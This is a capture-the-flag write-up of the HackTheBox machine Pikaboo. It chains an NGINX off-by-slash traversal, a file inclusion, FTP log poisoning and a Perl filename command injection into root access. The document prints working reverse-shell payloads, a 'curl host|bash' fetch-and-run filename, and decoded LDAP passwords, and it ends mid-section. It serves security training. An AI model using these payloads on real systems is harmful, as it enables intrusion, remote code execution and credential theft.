HTB: Pikaboo
Pikaboo required a lot of enumeration and putting together different pieces to get through each step. I’ll only ever get a shell as www-data and root, but for each step there’s several pieces to pull together and combine to some effect. I’ll start by abusing an off-by-slash vulnerability in the interaction between NGINX and Apache to get access to a staging server. In there, I’ll use an LFI to include FTP logs, which I can poison with PHP to get execution. As www-data, I’ll find a cron running a Perl script as root, which is vulnerable to command injection via the diamond operator. I’ll find creds for another user in LDAP and get access to FTP, where I can drop a file that will be read and give execution to get a shell as root.
Box Info
Name | Pikaboo Play on HackTheBox |
---|---|
Release Date | 17 Jul 2021 |
Retire Date | 04 Dec 2021 |
OS | Linux |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
01:40:48 |
|
03:00:15 |
|
Creators |
Recon
nmap
nmap
found three open TCP ports, FTP (21), SSH (22), and HTTP (80):
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.249
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-17 15:10 EDT
Nmap scan report for 10.10.10.249
Host is up (0.095s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 171.09 seconds
oxdf@parrot$ nmap -p 21,22,80 -sCV -oA scans/nmap-tcpscripts 10.10.10.249
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-17 15:13 EDT
Nmap scan report for 10.10.10.249
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds
Based on the OpenSSH version, the host is likely running Debian 10 Buster.
FTP - TCP 21
nmap
would usually flag if anonymous access was allowed, but I’ll confirm manually:
oxdf@parrot$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:oxdf): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
I’ll come back if I find creds.
Website - TCP 80
Site
The site is a “Pokatmon” collectors site (clearly a Pokemon imitator):
There are three links on the page. Pokatdex (/pokatdex.php
) gives a bunch of monster images and stats:
Clicking on any of the monsters loads a page that says PokeAPI Integration is coming soon:
PokeAPI is a RESTful API for querying details about Pokemon characters / cards.
The contact link (contact.php
) presents a form:
The button on this page doesn’t seem to actually submit any requests.
The admin link (/admin
) pops HTTP auth:
Nothing I guessed allowed access, and on hitting Cancel, there’s an Unauthorized page:
Tech Stack
From the links above it’s clear this site is running on PHP. Visiting /index.php
confirms that as well, as the same page as /
is displayed.
The HTTP response headers show nothing too useful beyond the nginx version:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:08:15 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 6922
Connection: close
Vary: Accept-Encoding
It’s interesting to note that the Unauthorized page above shows Apache running on 127.0.0.1:81, so it seems likely that NGINX is reverse-proxying the requests to Apache.
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x php
since I know the site is PHP:
oxdf@parrot$ feroxbuster -u http://10.10.10.249 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.2.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.249
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.2.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
401 14l 54w 456c http://10.10.10.249/adminnew
401 14l 54w 456c http://10.10.10.249/adminnew.php
401 14l 54w 456c http://10.10.10.249/admin_area
401 14l 54w 456c http://10.10.10.249/admin_area.php
401 14l 54w 456c http://10.10.10.249/admin_online
401 14l 54w 456c http://10.10.10.249/admin_online.php
401 14l 54w 456c http://10.10.10.249/administracja
401 14l 54w 456c http://10.10.10.249/administracja.php
401 14l 54w 456c http://10.10.10.249/admin_news
401 14l 54w 456c http://10.10.10.249/admin_news.php
401 14l 54w 456c http://10.10.10.249/admin
401 14l 54w 456c http://10.10.10.249/admin_images
403 9l 28w 274c http://10.10.10.249/admin.php
401 14l 54w 456c http://10.10.10.249/admin_images.php
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_10_10_249-1625673358.state ...
[###>----------------] - 20s 10676/59998 1m found:37 errors:0
[###>----------------] - 20s 10650/59998 507/s http://10.10.10.249
I had to kill this mid-run, as it seems that any path starting with /admin
seems to be returning this 401 Unauthorized, except for admin.php
, which is returning 403 Forbidden:
oxdf@parrot$ curl -I http://10.10.10.249/admincms.php
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.2
Date: Wed, 07 Jul 2021 16:02:50 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
WWW-Authenticate: Basic realm="Authentication Required"
oxdf@parrot$ curl -I http://10.10.10.249/admin.php
HTTP/1.1 403 Forbidden
Server: nginx/1.14.2
Date: Wed, 07 Jul 2021 16:02:55 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding
I’ll re-run feroxbuster
filtering out 401 responses with -C 401
:
oxdf@parrot$ feroxbuster -u http://10.10.10.249 -x php -C 401
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.2.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.249
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💢 Status Code Filters │ [401]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.2.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 9l 28w 319c http://10.10.10.249/images
200 92l 213w 3180c http://10.10.10.249/contact.php
200 208l 477w 6922c http://10.10.10.249/index.php
403 9l 28w 274c http://10.10.10.249/admin.php
[####################] - 2m 119996/119996 0s found:4 errors:0
[####################] - 1m 59998/59998 511/s http://10.10.10.249
[####################] - 1m 59998/59998 512/s http://10.10.10.249/images
Nothing new here beyond what I already found.
Shell as www-data
Access Admin Panel
Off By Slash
Orange Tsai has a great presentation on web server misconfigurations, and the Off By Slash section starts at slide 17. This presentation is the same one I referenced in solving Seal, but a different technique/use-case. I’ll show an example from this post. The idea is that if NGINX has a config that looks like this:
location /i {
alias /data/w3/images/;
}
When someone visits /i../app/config.py
, NGINX will rewrite that to /data/w3/images/../app/config.py
, thus providing directory traversal.
In this example, I know there’s some kind of rule that’s re-writing /admin
, and i know there’s no trailing slash or else something like /adminnew
wouldn’t be re-written. So I can guess that the config looks something like:
location /admin {
proxy_pass http://localhost:[port apache is listening on]/[more path?]/
}
My request to /admin.php
would then end up at http://localhost:[port]/[path]/.php
, which explains why it’s behaving differently from the other proxied stuff.
To test this, I can look up a directory and see if there’s an index.php
or index.html
, but no luck:
oxdf@parrot$ curl -I http://10.10.10.249/admin../index.php
HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:19:51 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding
oxdf@parrot$ curl -I http://10.10.10.249/admin../index.html
HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:19:58 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding
Tricks to get back to /admin
don’t help anything:
oxdf@parrot$ curl -I http://10.10.10.249/admin../admin
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:20:17 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
WWW-Authenticate: Basic realm="Authentication Required"
I took a guess that perhaps I could access the pokatdex part of the site, if it were being served out of a folder named pokatdex
in the same folder as the admin page, and it worked:
oxdf@parrot$ curl -I http://10.10.10.249/admin../pokatdex/
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:20:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
oxdf@parrot$ curl -I http://10.10.10.249/admin../pokatdex/contact.php
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:20:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Still, while that verifies I’m thinking about the configuration right, there’s not much I can do with that.
Thinking about what else might be being served by Apache, I tried looking for server-status
. This is typically only accessible from localhost, but given the NGINX proxy, the request will be coming from localhost. Trying to hit the page directly doesn’t work (it would have been found by feroxbuster
):
oxdf@parrot$ curl -I http://10.10.10.249/server-status
HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Tue, 30 Nov 2021 22:22:40 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding
If I try to request the page with a /../
, it doesn’t work:
oxdf@parrot$ curl -I http://10.10.10.249/admin/../server-status
HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:21:02 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding
But using the off by slash, it does:
oxdf@parrot$ curl -I http://10.10.10.249/admin../server-status
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 17 Jul 2021 19:21:18 GMT
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 6242
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
In Firefox:
In addition to seeing the urls I’ve been visiting, there’s also one at the top that is interesting, /admin_staging
. This page also shows that Apache is listening on TCP 81 on localhost.
Admin Staging
Visiting 10.10.10.249/admin../admin_staging
actually returned a HTTP redirect to http://127.0.0.1:81/admin_staging/
, which then fails because I can’t connect to localhost:81. It took me a minute to figure out what was going on here. The request is passed by NGINX to http://127.0.0.1:81/admin/../admin_staging
. But because this is a directory, it returns a 301 to the url with a /
on the end (and normalizes it to /admin_staging
in the process).
Visiting http://10.10.10.249/admin../admin_staging/
returns a new dashboard:
The different links on the side lead to information that doesn’t seem useful. But the URL structure is interesting. For example, User Profile leads to http://10.10.10.249/admin../admin_staging/index.php?page=user.php
.
LFI
This is not an uncommon pattern in PHP pages, and suggests a potential file inclusion. And, because the page parameter includes .php
on the end, it is likely I can read files that are not just PHP files. A more secure way to do this would be to have page=user
and then append .php
to the input in the PHP before including it.
Unfortunately, I can’t seem to read /etc/passwd
:
Before giving up, I checked something more local, and it worked:
I included the contact page and it is displayed in that space.
It seems like I can read within the current directory, and up one level, but not all the way to root.
It’s fair to guess that the sites are running out folders in /var/www
or maybe /var/www/html
. If that’s the case, I can’t think of any default folders I can check in /var/www
, but I can try to access things in /var/
. On my own host, I’ll run find /var/ -type f -perm -o=r 2>/dev/null
to look for world readable files in /var
. There are a ton, and I’ll look through them to find ones that might be on PikaBoo as well. I tried /var/log/dpkg.log
. It didn’t show up at page=../../log/dpkg.log
, but at page=../../../log/dpkg.log
:
Interestingly, that access was taken right after release. In checking the box for this post just before it retires, dpkg.log
is still there, but it’s 0 bytes (due to rotation of logs). Still, dpkg.log.1
is there with the same contents.
Either the admin staging panel is running out of /var/www/admin_staging/
and then the included pages are in another directory, or the admin staging panel is running out of /var/www/[something]/admin_staging
. Either way, I can read files in /var
, but not in /etc
(I verified with a few other checks, like /etc/issue
).
One weird thing - I am not able to access the Apache logs, access.log
or error.log
in /var/log/apache2
. Perhaps they are in a non-default location, or the webserver lacks read access, or they are just empty.
Log Poisoning
Log poisoning is a great attack against an LFI, but without the Apache logs, it doesn’t seem possible. But what about FTP? VSFTPd logs are stored in /var/log/vsftpd.log
. It shows logs via the LFI, with logs from July (likely when the box was developed/tested):
I can try to log in with FTP, and the new login shows up as well:
Not only are attempts logged, but the username is in the logs.
I tried another failed login:
oxdf@parrot$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:oxdf): <?php system('id'); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>
On refreshing the page with the logs in LFI, I have code execution:
Shell
To get a shell, I logged into FTP again:
oxdf@parrot$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:oxdf): <?php system('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"'); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>
With nc
listening, I refreshed the log page:
oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.249] 49566
bash: cannot set terminal process group (645): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pikaboo:/var/www/html/admin_staging$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I can grab user.txt
from the only home directory on the host:
www-data@pikaboo:/home/pwnmeow$ cat user.txt
23b4217f************************
And upgraded the shell:
www-data@pikaboo:/var/www/html/admin_staging$ python3 -c 'import pty;pty.spawn("bash")'
<_staging$ python3 -c 'import pty;pty.spawn("bash")'
www-data@pikaboo:/var/www/html/admin_staging$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@parrot$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@pikaboo:/var/www/html/admin_staging$
Shell as root
Enumeration
cron
In poking around the file system, there’s a job that runs from /etc/crontab as root
every minute:
www-data@pikaboo:/var/www$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/local/bin/csvupdate_cron
The file is a short Bash script:
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
It will loop over directories in /srv/ftp
, and for each change into them and then call csvupdate [dir name] *.csv
. It will then remove all the files in that directory.
There are a ton of folders in /srv/ftp
:
www-data@pikaboo:/srv/ftp$ ls -l
total 696
drwx-wx--- 2 root ftp 4096 May 20 09:54 abilities
drwx-wx--- 2 root ftp 4096 May 20 08:01 ability_changelog
drwx-wx--- 2 root ftp 4096 May 20 08:01 ability_changelog_prose
drwx-wx--- 2 root ftp 4096 May 20 08:01 ability_flavor_text
drwx-wx--- 2 root ftp 4096 May 20 08:01 ability_names
drwx-wx--- 2 root ftp 4096 May 20 08:01 ability_prose
drwx-wx--- 2 root ftp 4096 May 20 08:01 berries
drwx-wx--- 2 root ftp 4096 May 20 08:01 berry_firmness
drwx-wx--- 2 root ftp 4096 May 20 08:01 berry_firmness_names
...[snip]...
www-data@pikaboo:/srv/ftp$ ls -1 | wc -l
174
www-data doesn’t have any access to any of the folders, only root and the ftp
group.
csvupdate - Analysis
csvupdate
is a Perl script:
www-data@pikaboo:/$ file /usr/local/bin/csvupdate
/usr/local/bin/csvupdate: Perl script text executable
The script is long, and the comments indicate it’s designed to update the PokeAPI with the data uploaded from FTP:
#!/usr/bin/perl
##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
# #
# Usage: #
# ./csvupdate <type> <file(s)> #
# #
# Arguments: #
# - type: PokeAPI CSV file type #
# (must have the correct number of fields) #
# - file(s): list of files containing CSV data #
##################################################################
use strict;
use warnings;
use Text::CSV;
my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
'ability_changelog_prose' => 3,
'ability_flavor_text' => 4,
'ability_names' => 3,
'ability_prose' => 4,
'berries' => 10,
'berry_firmness' => 2,
...[snip]...
'version_groups' => 4,
'version_names' => 3,
'versions' => 3
);
if($#ARGV < 1)
{
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
Perl is a super confusing language to read, especially with things like the diamond operator, and the fact that variable types use different characters to indicate they are variables. For example $
indicates a scaler (like $csv_dir
or $ARGV[0]
), @
indicates an array (like @ARGV
), and %
indicates a hash table (like a Python dictionary, like %csv_fields
).
After defining $csv_dir
and %csv_fields
, it checks the length of the args ($#ARGV
). If it’s less than one, it prints the usage and exits.
Then it reads the first arg ($ARG[0]
(Perl doesn’t store the calling program name in @ARGS
)), and checks that it is on of the keys defined in %csv_fields
. Each of the folders in /srv/ftp
match up to parameters defined in this dictionary. If that’s ok, it opens an output .csv
file with a handle $fh
.
shift
with no args will remove the first item from @ARGV
, leaving just *.csv
, which will be expanded to be all the .csv
files in the directory.
for(<>)
will open each of those files one by one, and loop over each line in each of those files, saving the line into the implied variable, $_
. chomp
will remove any whitespace from the end of that line and save the update in $_
. Assuming the number of fields matches what’s in the hash table (dictionary), it will print that output to the file.
pokeapi
The script references updating data in /opt/pokeapi/data/v2/csv
. I’ll check out the /opt/pokeapi
directory:
www-data@pikaboo:/opt/pokeapi$ ls
CODE_OF_CONDUCT.md README.md data pokemon_v2
CONTRIBUTING.md Resources docker-compose.yml requirements.txt
CONTRIBUTORS.txt __init__.py graphql test-requirements.txt
LICENSE.md apollo.config.js gunicorn.py.ini
Makefile config manage.py
The config
directory might be interesting:
www-data@pikaboo:/opt/pokeapi/config$ ls
__init__.py docker-compose.py local.py urls.py
__pycache__ docker.py settings.py wsgi.py
settings.py
defines a DATABASES
dictionary:
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
The DB is SQLite, but there’s also LDAP creds.
ldap
netstat
shows that in addition to the ports already observed, 389 is also listening locally, which is typically LDAP:
www-data@pikaboo:/$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:81 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:389 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 567/nginx: worker p
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 567/nginx: worker p
Just like I have on many occasions remotely enumerated LDAP, I can try ldapsearch
from PikaBoo:
www-data@pikaboo:/$ ldapsearch -h 127.0.0.1 -x -s base namingcontexts
ldap_bind: Inappropriate authentication (48)
additional info: anonymous bind disallowed
It requires auth. I’ve got the creds from the PokeAPI, and they work:
www-data@pikaboo:/var/www$ ldapsearch -h 127.0.0.1 -x -s base namingcontexts -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g'
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: dc=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
The DC is HTB. I’ll use that and dump everything under it:
www-data@pikaboo:/var/www$ ldapsearch -h 127.0.0.1 -x -b 'dc=htb' -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g'
# extended LDIF
#
# LDAPv3
# base <dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# htb
dn: dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: htb
dc: htb
# admin, htb
dn: cn=admin,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: e1NTSEF9bWxhdFNUTzJDZjZ6QjdVL2VyOVBUamtBVE5yZnJiVnE=
# users, htb
dn: ou=users,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, htb
dn: ou=groups,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo
# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi
# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# search result
search: 2
result: 0 Success
# numResponses: 15
# numEntries: 14
There are three objects with userPassword
fields filled in. admin’s decodes to a string starting with {SSHA}
, which indicates the rest of the string is a salted SHA1 hash of the password in base64:
oxdf@parrot$ echo "e1NTSEF9bWxhdFNUTzJDZjZ6QjdVL2VyOVBUamtBVE5yZnJiVnE=" | base64 -d
{SSHA}mlatSTO2Cf6zB7U/er9PTjkATNrfrbVq
I can convert that to a typical 40-character hex view with base64
and xxd
:
oxdf@parrot$ echo "mlatSTO2Cf6zB7U/er9PTjkATNrfrbVq" | base64 -d | xxd -p
9a56ad4933b609feb307b53f7abf4f4e39004cdadfadb56a
I could try to crack that, but I’ll look at the others first. binduser’s isn’t hashed, but it matches the password I already know and used to dump the DB:
oxdf@parrot$ echo "Sn40MiVXP1BGSGxdZw==" | base64 -d
J~42%W?PFHl]g
pwnmeow’s is also not hashed, and is new:
oxdf@parrot$ echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
FTP Access
That password doesn’t work for the pwnmeow user on the box with su
or ssh
. But it does work for FTP:
oxdf@parrot$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:oxdf): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
The directory contains the same folders as in /srv/ftp
:
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx--- 2 ftp ftp 4096 May 20 09:54 abilities
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_changelog
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_changelog_prose
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_flavor_text
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_names
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_prose
...[snip]...
I’ll create a local empty file, test.txt
to upload. pwnmeow doesn’t have permissions to write to the root of FTP:
ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
553 Could not create file.
However, the permissions in the ls
above show that as members of the ftp group can write to them, and pwnmeow is in that group:
www-data@pikaboo:/var/www$ grep ftp /etc/group
ftp:x:115:pwnmeow
I’ll pick a directory at random and upload a file. It works:
ftp> cd types
250 Directory successfully changed.
ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
Exploit cvsupdate
Local Example
Perl’s open
command can, for some crazy reason, be used to execute code. If a command starts with |
, then the rest of the command will be executed, with anything written to the resulting handle being passed to the executed command’s STDIN. If the filename ends with |
, then the stuff before is executed, and the output of the execution can be read from the filehandle.
I’ll demonstrate with a silly Perl program that is similar to the one on PikaBoo:
#!/usr/bin/perl
shift;
for(<>)
{
print $_;
}
I’ll create a couple of .csv
files and run it:
oxdf@parrot$ echo -e "1\n2\n3" > a.csv
oxdf@parrot$ echo -e "a\nb" > b.csv
oxdf@parrot$ perl test.pl ignore *.csv
1
2
3
a
b
I’ll add a file that has a command injection name:
oxdf@parrot$ touch '|id; #.csv'
It runs the command:
oxdf@parrot$ perl test.pl ignore *.csv
uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(debian-tor),124(bluetooth),140(scanner),153(docker),998(vboxsf)
1
2
3
a
b
All of this is to show that if I can write into these directories (and create a file with a name like this), I’ll have execution as root.
POC on PikaBoo
I’ll use FTP to upload the empty text.txt
file, but change the name to something that will ping
me if it executes:
ftp> put test.txt "|ping -c 1 10.10.14.6; a.csv"
local: test.txt remote: |ping -c 1 10.10.14.6; a.csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
When the minute rolls over, I get ICMP packets:
oxdf@parrot$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:20:05.293445 IP 10.10.10.249 > 10.10.14.6: ICMP echo request, id 25701, seq 1, length 64
16:20:05.293486 IP 10.10.14.6 > 10.10.10.249: ICMP echo reply, id 25701, seq 1, length 64
Shell
The challenge here is that I have to put everything I want to do in one line, and it can’t contain /
. That means I can’t call a script in another directory, or directly do a reverse shell as they all contain /
. I found two ways to do this (there are probably more).
One is to create a rev shell Bash script on my host and request it with curl
and pipe it into bash
. The only trick is I can’t use /
, so I just need to make it the index file. On my host:
oxdf@parrot$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
oxdf@parrot$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now I’ll upload the file:
ftp> put test.txt "|curl 10.10.14.6|bash; a.csv"
local: test.txt remote: |curl 10.10.14.6|bash; a.csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
When the cron runs, I get the request:
10.10.10.249 - - [07/Jul/2021 16:31:04] "GET / HTTP/1.1" 200 -
And then the shell:
oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.249] 49596
bash: cannot set terminal process group (30460): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/types#
Alternatively, I could just base64 encode the command I want to run:
